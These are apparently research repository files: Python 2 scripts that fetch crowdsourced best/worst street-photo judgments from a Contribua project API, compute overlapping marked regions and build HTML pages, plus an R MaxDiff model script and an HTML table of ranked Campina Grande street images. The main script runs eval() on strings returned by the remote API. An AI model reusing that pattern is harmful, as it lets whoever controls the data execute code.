if len(mark) > 0:
minX = min(mark, key=lambda point: point[0])[0]
maxX = max(mark, key=lambda point: point[0])[0]
minY = min(mark, key=lambda point: point[1])[1]
maxY = max(mark, key=lambda point: point[1])[1]
#Creating rectangle with bottom-left and top-right corners
if minX != maxX and minY != maxY:
rectangles.append(MyRectangle(minX, minY, maxX, maxY))
return rectangles
def intersects(rectangle1, rectangle2):
r1_data = rectangle1.getBottomLeftCorner()
r2_data = rectangle2.getBottomLeftCorner()
#tw = rectangle1.getWidth()
#th = rectangle1.getHeight()
#rw = rectangle2.getWidth()
#rh = rectangle2.getHeight()
#tx = r1_data[0]
#ty = r1_data[1]
#rx = r2_data[0]
#ry = r2_data[1]
#rw += rx;
#rh += ry;
#tw += tx;
#th += ty;
#return ((rw < rx or rw > tx) and (rh < ry or rh > ty) and (tw < tx or tw > rx) and (th < ty or th > ry))
#double x0 = getX()
#double y0 = getY()
return (r2_data[0] + rectangle2.getWidth() > r1_data[0] and r2_data[1] + rectangle2.getHeight() > r1_data[1] and r2_data[0] < r1_data[0] + rectangle1.getWidth() and r2_data[1] < r1_data[1] + rectangle1.getHeight())
def intersect(rectangle1, rectangle2):
x1 = max(rectangle1.getMinX(), rectangle2.getMinX())
y1 = max(rectangle1.getMinY(), rectangle2.getMinY())
x2 = min(rectangle1.getMaxX(), rectangle2.getMaxX())
y2 = min(rectangle1.getMaxY(), rectangle2.getMaxY())
if x1 != x2 and y1 != y2:
return MyRectangle(x1, y1, x2, y2)
else:
return None
def save_image_rects(image, current_map, path):
# get an image
file = cStringIO.StringIO(urllib.urlopen(image).read())
base = Image.open(file)
base = base.convert("RGBA")
#draw = ImageDraw.Draw(base)
#Black, brown, darkred, violet, darkblue, darkgreen, gold
colors_map = {1: "black", 2: "brown", 3: "darkred", 4: "violet", 5: "darkblue", 6: "darkgreen", 7: "gold"}
img_size = (640,480)
poly_size = (640,480)
poly_offset = (0,0)
poly = Image.new('RGB', poly_size )
pdraw = ImageDraw.Draw(poly, 'RGBA')
#print str(image_data)
for level in current_map.keys():
rects = current_map[level]
#print ">> RECTS " + str(len(rects))
for rect in rects:
color = colors_map[level]
vertices = rect.getAllVertices()#[[self.x_left, self.y_left], [self.x_right, self.y_left], [self.x_right, self.y_right], [self.x_left, self.y_right]]
pdraw.rectangle([vertices[0][0], vertices[0][1], vertices[2][0], vertices[2][1]], fill=(255,255,255,127), outline=(170,170,170,170))
#init = vertices[0]
#end = vertices[3]
#for y in range(int(init[1]), int(end[1]), 3):
# eX, eY = 5, 5 #Size of Bounding Box for ellipse
# x = init[0]
#bbox = (x - eX/2, y - eY/2, x + eX/2, y + eY/2)
#draw.ellipse(bbox, fill=color)
#for index in range(0, len(vertices)-1):
#
# if index == 0 or index == 2:
# init = vertices[index]
# end = vertices[index+1]
# if index == 2:
# init = vertices[index+1]
# end = vertices[index]
#
# for x in range(int(init[0]), int(end[0]), 3):
# eX, eY = 5, 5 #Size of Bounding Box for ellipse
# y = init[1]
# bbox = (x - eX/2, y - eY/2, x + eX/2, y + eY/2)
# draw.ellipse(bbox, fill=color)#draw.rectangle([10,10, 200, 200]) top-left and bottom-right
# elif index == 1:
# init = vertices[index]
# end = vertices[index+1]
# for y in range(int(init[1]), int(end[1]), 3):
# eX, eY = 5, 5 #Size of Bounding Box for ellipse
# x = init[0]
# bbox = (x - eX/2, y - eY/2, x + eX/2, y + eY/2)
# draw.ellipse(bbox, fill=color)
#base.paste(poly, poly_offset, mask=poly)
poly = poly.convert("RGBA")
final = Image.blend(base, poly, 0.7)
image_name = urllib.unquote(image.split("/")[6]).split(".jpg")[0].decode('utf8')
final.save(path+image_name, "PNG")
#Center of circle given 3 points: http://paulbourke.net/geometry/circlesphere/
# Area and centroid of a polygon: http://paulbourke.net/geometry/polygonmesh/
# Bounding rectangle: [minX, minY, maxX, maxY] http://developer.classpath.org/doc/java/awt/Rectangle-source.html http://grepcode.com/file/repository.grepcode.com/java/root/jdk/openjdk/6-b14/java/awt/Rectangle.java
def evaluate_intersections(images_map, folder):
intersects_per_level = {}
images = images_map.keys()
images.sort()
for image in images:
#image = "https://contribua.org/bairros/oeste/liberdade/R._Ed%C3%A9sio_Silva_70_203.jpg"
image_data = images_map[image]
current_marks = []
for evaluation in image_data:
points = evaluation[1]
#for list_points in points:
# print ">>> Tamanho " + str(len(list_points))
current_marks.extend(compute_rectangles(points))
intersections = []
level = 0
#current_marks.sort(key=operator.attrgetter('x_left'))
#for mark in current_marks:
# print ">>> MARKS " + str(mark)
#while len(current_marks) > 0:
for index in range(0, len(current_marks)):
for index2 in range(index+1, len(current_marks)):
mark1 = current_marks[index]
mark2 = current_marks[index2]
if intersects(mark1, mark2):
intersection = intersect(mark1, mark2)
#print ">>> CURRENT_INTER " + str(intersection) + " ENTRE " + str(mark1) + " " + str(mark2)
if intersection != None:
intersections.append(intersection)
#intersections.sort(key=operator.attrgetter('x_left'))
#for mark in intersections:
# print ">>> ALL INTER " + str(mark)
level = level + 1
if image in intersects_per_level.keys():
image_intersects = intersects_per_level[image]
else:
image_intersects = {}
if level in image_intersects.keys():
level_intersects = image_intersects[level]
else:
level_intersects = []
level_intersects.extend(intersections)
image_intersects[level] = level_intersects
intersects_per_level[image] = image_intersects
current_marks = intersections
intersections = []
#end while
#break
for image in intersects_per_level.keys():
image_rects_level = intersects_per_level[image]
#print ">>> INter for " + str(image) + " " + str(len(image_rects_level[1]))
save_image_rects(image, image_rects_level, folder+"/intersects/")
print ">>> Terminei imagem " + image
#Creating webpage for marked images
def create_page_for_marked_images(best_images, worst_images, best_map, worst_map, output_filename, best_folder, worst_folder):
output_file = open(output_filename, "w")
output_file.write("<meta content=\"text/html; charset=UTF-8\" http-equiv=\"content-type\">")
output_file.write("<body style=\"overflow:scroll\">\n")
output_file.write(">>> Para cada imagem temos todas as marcações quando ela foi escolhida como melhor ou pior imagem de um conjunto de 4 fotos. Além disso, ao lado do nome de cada imagem temos o número de vezes que a imagem foi escolhida como melhor ou pior!")
#Best evaluated images
output_file.write("<h2> Melhores </h2>")
output_file.write("<table>\n")
output_file.write("<tr>\n")
create_rows(best_images, best_map, best_folder, output_file)
output_file.write("</tr>\n")
output_file.write("</table>")
#Worst evaluated images
output_file.write("<h2> Piores </h2>")
output_file.write("<table>\n")
output_file.write("<tr>\n")
create_rows(worst_images, worst_map, worst_folder, output_file)
output_file.write("</tr>\n")
output_file.write("</table>")
output_file.write("</body>\n");
output_file.close()
if __name__ == "__main__":
if len(sys.argv) > 3:
print "Uso: <sem nada, para executar para todos os usuários> ou <arquivo com ids de usuario a filtrar> <tag para pasta de destino>"
sys.exit(1)
ids = []
tag = ""
if len(sys.argv) == 3:
ids_file = open(sys.argv[1], "r")
ids_data = ids_file.readlines()
ids_file.close()
for id in ids_data:
ids.append(id.strip(' \t\n\r"'))
tag = sys.argv[2]
print ">>> IDS" + str(ids) + " " + str(len(ids))
#Reading task-run from Contribua
apiUrl = 'https://contribua.org/api/'
projectId = '583'
offset=0
best_map = {}
worst_map = {}
users_map = {}
url = apiUrl+'taskrun?project_id='+str(projectId)+'&offset='+str(offset)+'&limit=100'
response = urllib.urlopen(url)
data = json.loads(response.read())
while len(data) > 0:
print ">>>>OFFSET:\t" + str(offset) #+ str(user_id) + "\t" + str(user_id in ids)
for i in range(0, len(data)):
current_run = data[i]
task_id = current_run['id']
info = current_run['info']
best_image = info['theMost']
worst_image = info['theLess']
user_id = current_run['user_id']
#print ">>>>USER:\t" + str(user_id) + " " + str( str(user_id) in ids)
if len(ids) == 0 or (len(ids) > 0 and str(user_id) in ids):
#if "Manoel" in best_image:
# print ">>> " + str(user_id) + "\t" + str(best_image.encode("utf8"))
if len(best_image) > 0 and len(worst_image) > 0 and (best_image != 'equal' or worst_image != 'equal'):
best_points = eval(info['markMost'])
worst_points = eval(info['markLess'])
best_image = urllib.quote(best_image.encode('utf8'), ':/')
worst_image = urllib.quote(worst_image.encode('utf8'), ':/')
if best_image in best_map:
all_best_points = best_map[best_image]
else:
all_best_points = []
all_best_points.append([task_id, best_points])
best_map[best_image] = all_best_points
if worst_image in worst_map:
all_worst_points = worst_map[worst_image]
else:
all_worst_points = []
all_worst_points.append([task_id, worst_points])
worst_map[worst_image] = all_worst_points
#Persisting per user
if user_id in users_map:
users_marks = users_map[user_id]
else:
users_marks = {"best": {}, "worst":{}}
if best_image in users_marks['best']:
best_marks = users_marks['best'][best_image]
else:
best_marks = []
best_marks.append([task_id, best_points.sort()])
users_marks['best'][best_image] = best_marks
users_map[user_id] = users_marks
if worst_image in users_marks['worst']:
worst_marks = users_marks['worst'][worst_image]
else:
worst_marks = []
worst_marks.extend([task_id, worst_points.sort()])
users_marks['worst'][worst_image] = worst_marks
users_map[user_id] = users_marks
#Requesting next window of data
offset = offset + len(data)
url = apiUrl+'taskrun?project_id='+str(projectId)+'&offset='+str(offset)+'&limit=100'
response = urllib.urlopen(url)
data = json.loads(response.read())
#Iterating through images to add marks and save images
best_folder = "./melhores"
worst_folder = "./piores"
if len(tag) > 0:
best_folder = best_folder + tag
worst_folder = worst_folder + tag
mkdir(best_folder)
mkdir(worst_folder)
mkdir(best_folder+"/intersects")
mkdir(worst_folder+"/intersects")
#Persisting points dictionaries
#best_file = open("./best-dict.pkl", "wb")
#pickle.dump(best_map, best_file, pickle.HIGHEST_PROTOCOL)
#best_map = pickle.load(best_file)
#best_file.close()
#worst_file = open("./worst-dict.pkl", "wb")
#pickle.dump(worst_map, worst_file, pickle.HIGHEST_PROTOCOL)
#worst_map = pickle.load(worst_file)
#worst_file.close()
#users_marks_file = open("./users-dict-marks.pkl", "wb")
#pickle.dump(users_map, users_marks_file, pickle.HIGHEST_PROTOCOL)
#users_map = pickle.load(users_marks_file)
#users_marks_file.close()
best_folder = best_folder + "/"
worst_folder = worst_folder + "/"
for image in best_map.keys():
save_image_marks(image, best_map, best_folder, 'green')
index = 0
for image in worst_map.keys():
save_image_marks(image, worst_map, worst_folder, 'red')
#Reading all best and worst marked images filenames
best_images = []
for filename in listdir(best_folder):
if "jpg" in filename:
best_images.append(filename)
best_images.sort()
worst_images = []
for filename in listdir(worst_folder):
if "jpg" in filename:
worst_images.append(filename)
worst_images.sort()
#for user_id in users_map.keys():
# user_data = users_map[user_id]
# user_best = user_data['best']
# for image in user_best.keys():
# mkdir('melhores/'+str(user_id))
# save_image_marks(image, user_best, "melhores/"+str(user_id), "green")
#
# user_worst = user_data['worst']
# for image in user_worst.keys():
# mkdir('piores/'+str(user_id))
# save_image_marks(image, user_worst, "piores/"+str(user_id), "red")
#Creating page for users marks
create_page_for_marked_images(best_images, worst_images, best_map, worst_map, "markedImages"+tag+".html", best_folder, worst_folder)
#Compute intersections of users marks
evaluate_intersections(best_map, best_folder)
evaluate_intersections(worst_map, worst_folder)
#Retrieving intersects files
best_images = []
for filename in listdir(best_folder+"intersects/"):
#if "png" in filename:
best_images.append(filename)
best_images.sort()
worst_images = []
for filename in listdir(worst_folder+"intersects/"):
#if "png" in filename:
worst_images.append(filename)
worst_images.sort()
#Create page for intersects
create_page_for_marked_images(best_images, worst_images, best_map, worst_map, "markedImages-intersect"+tag+".html", best_folder+"intersects/", worst_folder+"intersects/")
#x, y = base.size
#bbox = (x/2 - eX/2, y/2 - eY/2, x/2 + eX/2, y/2 + eY/2)
#base.show()
# write to stdout
#base.save(sys.stdout, "PNG")
<file_sep>#R vetor = as.vector(t(seg[,1:110]))
library(BiasedUrn)
library(AlgDesign)
incomplete.block.design <- function(number.alternatives, number.blocks, alternatives.per.block, n.repeats = 1000){
# Check that the parameters are appropriate
# Sawtooth recommends that number.blocks >= 3 * number.alternatives / alternatives.per.block
if (number.blocks < 3 * number.alternatives / alternatives.per.block)
warning("It is recomended that number.blocks >= 3 * number.alternatives / alternatives.per.block");
library(AlgDesign)
best.result = NULL
best.D = -Inf
for (i in 1:n.repeats){
alg.results <- optBlock(~.,withinData=factor(1:number.alternatives),blocksizes=rep(alternatives.per.block,number.blocks), nRepeats=5000) #BIB
if (alg.results$D > best.D){
best.result = alg.results
best.D = alg.results$D
}
}
design <- matrix(NA,number.blocks,alternatives.per.block, dimnames= list(block = 1:number.blocks, Alternative = 1:alternatives.per.block))
binary.design <- matrix(0,number.blocks,number.alternatives, dimnames= list(block = 1:number.blocks, alternative = 1:number.alternatives))
counter <- 0
for (block in best.result$Blocks){
counter <- counter + 1
blck <- unlist(block)
design[counter,] <- blck
for (a in blck)
binary.design[counter,a] <- 1
}
n.appearances.per.alternative <- table(as.numeric(design))
combinations.of.alternatives <- crossprod(table(c(rep(1:number.blocks, rep(alternatives.per.block,number.blocks))), best.result$design[,1]))
list(binary.design = t(binary.design), design = t(design), frequencies = n.appearances.per.alternative, pairwise.frequencies=combinations.of.alternatives, binary.correlations = round(cor(binary.design),2))
}
setup.flat.data = function(x, number.alternatives){
n = nrow(x)
number.sets = ncol(x) / number.alternatives
data = vector("list",n)
for (i in 1:n)
{
temp.respondent.data = matrix(x[i,],byrow=TRUE,ncol = number.alternatives)
respondent.data = vector("list",number.sets)
for (s in 1:number.sets)
respondent.data[[s]] = as.numeric(temp.respondent.data[s,])
data[[i]] = respondent.data
}
compress.data(data)}
compress.data = function(x){#Creates a vector for each set where the first entry was best and the last worst
compress = function(x){
x.valid = !is.na(x)
x.position = (1:length(x))[x.valid]
x.position[order(x[x.valid], decreasing = TRUE)]
}
n = length(x)
number.sets = length(x[[1]])
number.alternatives = length(x[[1]][[1]])
data = vector("list",n)
for (i in 1:n)
{
respondent.data = vector("list",number.sets)
for (s in 1:number.sets)
respondent.data[[s]] = compress(x[[i]][[s]])
data[[i]] = respondent.data
}
class(data) = "maxdiffData"
data}
d.marley = function(b,x){
b.vector = b[x]
k = length(b.vector)
ediffs = exp(matrix(b.vector,k,k,byrow=FALSE) - matrix(b.vector,k,k,byrow=TRUE))
ediffs[1,k] / (sum(ediffs) - sum(diag(ediffs)))}
d.rlogit = function(b,x){
eb = exp(b[x])
k = length(eb)
d.best = eb[1]/sum(eb)
d.not.worst = dMWNCHypergeo(c(rep(1,k-2),0), rep(1,k-1),k-2,eb[-1], precision = 1E-7)
d.best * d.not.worst}
d.repeated.maxdiff = function(b,x, method){
prod(as.numeric(lapply(x,b = b,switch(method,marley=d.marley, rlogit = d.rlogit))))}
ll.max.diff = function(b,x, maxdiff.method = c("marley","rlogit")[1]){
b[b > 100] = 100
b[b < -100] = -100
sum(log(as.numeric(lapply(x,b = c(0,b),method=maxdiff.method, d.repeated.maxdiff))))
}
max.diff.rank.ordered.logit.with.ties = function(stacked.data){
flat.data = setup.flat.data(stacked.data, ncol(stacked.data))
solution = optim(seq(.01,.02, length.out = ncol(stacked.data)-1), ll.max.diff, maxdiff.method = "rlogit", gr = NULL, x = flat.data, method = "BFGS", control = list(fnscale = -1, maxit = 1000, trace = FALSE), hessian = FALSE)
pars = c(0, solution$par)
#print (solution)
names(pars) = dimnames(stacked.data)[[2]]
list(log.likelihood = solution$value, coef = pars)}
<file_sep># coding=utf-8
# Get all users ids and creates two random groups
import sys
import pandas as pd
import numpy as np
if __name__ == "__main__":
if len(sys.argv) < 2:
print "Uso: usersInfo file"
sys.exit(1)
lines = open(sys.argv[1], "r").readlines()
group_size = 100
all_ids = []
for line in lines:
all_ids.append(line.split("|")[0])
group1 = np.random.choice(all_ids, size=group_size, replace=False)
group2 = np.random.choice(all_ids, size=group_size, replace=False)
group1_file = open("random1.dat", "w")
for id in group1:
group1_file.write(str(id)+"\n")
group2_file = open("random2.dat", "w")
for id in group2:
group2_file.write(str(id)+"\n")
group1_file.close()
group2_file.close()
<file_sep>import sys
if __name__ == "__main__":
if len(sys.argv) < 2:
print "Uso: <arquivo com dados> <arquivo com ids de usuarios a considerar>"
sys.exit(1)
data = open(sys.argv[1], 'r')
users = open(sys.argv[2], 'r')
dataLines = data.readlines()
dataUsers = users.readlines()
usersIDs = []
for id in dataUsers:
usersIDs.append(id.strip())
results = {}
counter = {}
totalComparisons = 0
for line in dataLines:
data = line.split("\t")
userID = data[0]
if not userID in usersIDs:
continue
answer = data[1]
photo1 = data[2].split("/")[4].replace("\"", "").strip()
photo2 = data[3].split("/")[4].replace("\"", "").strip()
if not counter.has_key(photo1):
counter[photo1] = 0
if not counter.has_key(photo2):
counter[photo2] = 0
if answer == 'Left':
if not results.has_key(photo1):
results[photo1] = []
results[photo1].append(photo2)
elif answer == 'Right':
if not results.has_key(photo2):
results[photo2] = []
results[photo2].append(photo1)
counter[photo1] = counter[photo1] + 1
counter[photo2] = counter[photo2] + 1
totalComparisons = totalComparisons + 1
print "Total de Comparacoes", totalComparisons
for key in results:
#print key, " ", len(results[key]), " ", counter[key], " ", results[key]
print key, " ", len(results[key]), " ", counter[key], " "
<file_sep><body style="overflow:scroll">
<h2>agrad%C3%A1vel?</h2><table>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Doutor_Severino_Cruz__411__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Doutor_Severino_Cruz__411__90.jpg 1603.37162006</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Inacio_Marques_da_Silva__434_270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Inacio_Marques_da_Silva__434_270.jpg 1582.04586714</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Honorio_de_Melo__240__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Honorio_de_Melo__240__90.jpg 1579.90814849</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Joao_Francisco_Mota__64__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Joao_Francisco_Mota__64__90.jpg 1575.1633651</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Olegario_Mariano__139_270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Olegario_Mariano__139_270.jpg 1565.64686079</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Luisa_Bezerra_Mota__246_270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Luisa_Bezerra_Mota__246_270.jpg 1562.87987759</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Joao_Francisco_Mota__64__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Joao_Francisco_Mota__64__270.jpg 1558.61617905</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Luisa_Bezerra_Mota__246_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Luisa_Bezerra_Mota__246_90.jpg 1557.58597465</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Otacilio_Nepomuceno__76_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Otacilio_Nepomuceno__76_90.jpg 1557.33103272</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Honorio_de_Melo__240__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Honorio_de_Melo__240__270.jpg 1554.02591026</td>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Barao_Rio_Branco__141_270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Avenida_Barao_Rio_Branco__141_270.jpg 1553.77064465</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Edesio_Silva__602__0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Edesio_Silva__602__0.jpg 1551.32650537</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Riachuelo__930__0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Riachuelo__930__0.jpg 1547.01592845</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Quebra_Quilos__399__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Quebra_Quilos__399__270.jpg 1545.62478424</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Avenida_Prefeito_Severino_Bezerra_Cabral__218_0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Avenida_Prefeito_Severino_Bezerra_Cabral__218_0.jpg 1543.71128343</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Barao_Rio_Branco__141_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Avenida_Barao_Rio_Branco__141_90.jpg 1543.6989002</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Coronel_Salvino_Figueiredo__251_270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Coronel_Salvino_Figueiredo__251_270.jpg 1541.97503167</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Doutor_Antonio_Telha_-_Catole__Campina_Grande__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Doutor_Antonio_Telha_-_Catole__Campina_Grande__270.jpg 1541.30742794</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Olegario_Mariano__139_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Olegario_Mariano__139_90.jpg 1541.21266477</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Severino_Pimentel__439__0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Severino_Pimentel__439__0.jpg 1540.69368767</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Elias_Aforas__67__180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Elias_Aforas__67__180.jpg 1535.86346782</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Severino_Pimentel__321__180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Severino_Pimentel__321__180.jpg 1535.52993612</td>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Presidente_Joao_Pessoa__128__180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Avenida_Presidente_Joao_Pessoa__128__180.jpg 1534.94505265</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Riachuelo__847__0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Riachuelo__847__0.jpg 1534.53211452</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Severino_Pimentel__439__180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Severino_Pimentel__439__180.jpg 1534.123701</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Acre__635_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Acre__635_90.jpg 1532.92336543</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Avenida_Prefeito_Severino_Bezerra_Cabral__218_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Avenida_Prefeito_Severino_Bezerra_Cabral__218_90.jpg 1532.41353807</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Doutor_Antonio_Telha_-_Catole__Campina_Grande__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Doutor_Antonio_Telha_-_Catole__Campina_Grande__90.jpg 1530.02906887</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Doutor_Antonio_Telha__235_180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Doutor_Antonio_Telha__235_180.jpg 1529.57750013</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Padre_Pedro_Serrao__336__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Padre_Pedro_Serrao__336__270.jpg 1528.84586748</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Riachuelo__847__180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Riachuelo__847__180.jpg 1527.27095816</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Vigario_Calixto__1201_180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Vigario_Calixto__1201_180.jpg 1522.46266171</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Doutor_Antonio_Telha__68__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Doutor_Antonio_Telha__68__90.jpg 1521.85569218</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Padre_Pedro_Serrao__353__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Padre_Pedro_Serrao__353__270.jpg 1521.54132391</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Padre_Pedro_Serrao__353__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Padre_Pedro_Serrao__353__90.jpg 1520.96333959</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Severino_Pimentel__511_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Severino_Pimentel__511_90.jpg 1519.56888808</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Otacilio_Nepomuceno__76_0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Otacilio_Nepomuceno__76_0.jpg 1519.19426339</td>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Presidente_Joao_Pessoa__128__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Avenida_Presidente_Joao_Pessoa__128__90.jpg 1518.96833797</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Quebra_Quilos__399__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Quebra_Quilos__399__90.jpg 1518.93362378</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Riachuelo__455__180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Riachuelo__455__180.jpg 1517.81176741</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Cristina_Procopio_da_Silva__62__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Cristina_Procopio_da_Silva__62__90.jpg 1517.58135032</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Olegario_Mariano__139_0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Olegario_Mariano__139_0.jpg 1516.65623791</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Olegario_Mariano__139_180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Olegario_Mariano__139_180.jpg 1516.29766964</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Padre_Pedro_Serrao__207__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Padre_Pedro_Serrao__207__90.jpg 1516.21298239</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Acre__635_270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Acre__635_270.jpg 1516.04922044</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Deputado_Ascendino_Moura__101__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Deputado_Ascendino_Moura__101__90.jpg 1515.96844487</td>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Presidente_Getulio_Vargas__395__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Avenida_Presidente_Getulio_Vargas__395__90.jpg 1514.66068309</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Deputado_Ascendino_Moura__101__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Deputado_Ascendino_Moura__101__270.jpg 1514.16666276</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Dom_Pedro_II__500_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Avenida_Dom_Pedro_II__500_90.jpg 1512.43320157</td>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Dom_Pedro_II__500_270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Avenida_Dom_Pedro_II__500_270.jpg 1510.36937481</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Elias_Aforas__67__0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Elias_Aforas__67__0.jpg 1508.88547877</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Severino_Pimentel__511_270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Severino_Pimentel__511_270.jpg 1508.84220627</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Sebastiao_Vieira_da_Silva__1273__0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Sebastiao_Vieira_da_Silva__1273__0.jpg 1505.90090299</td>
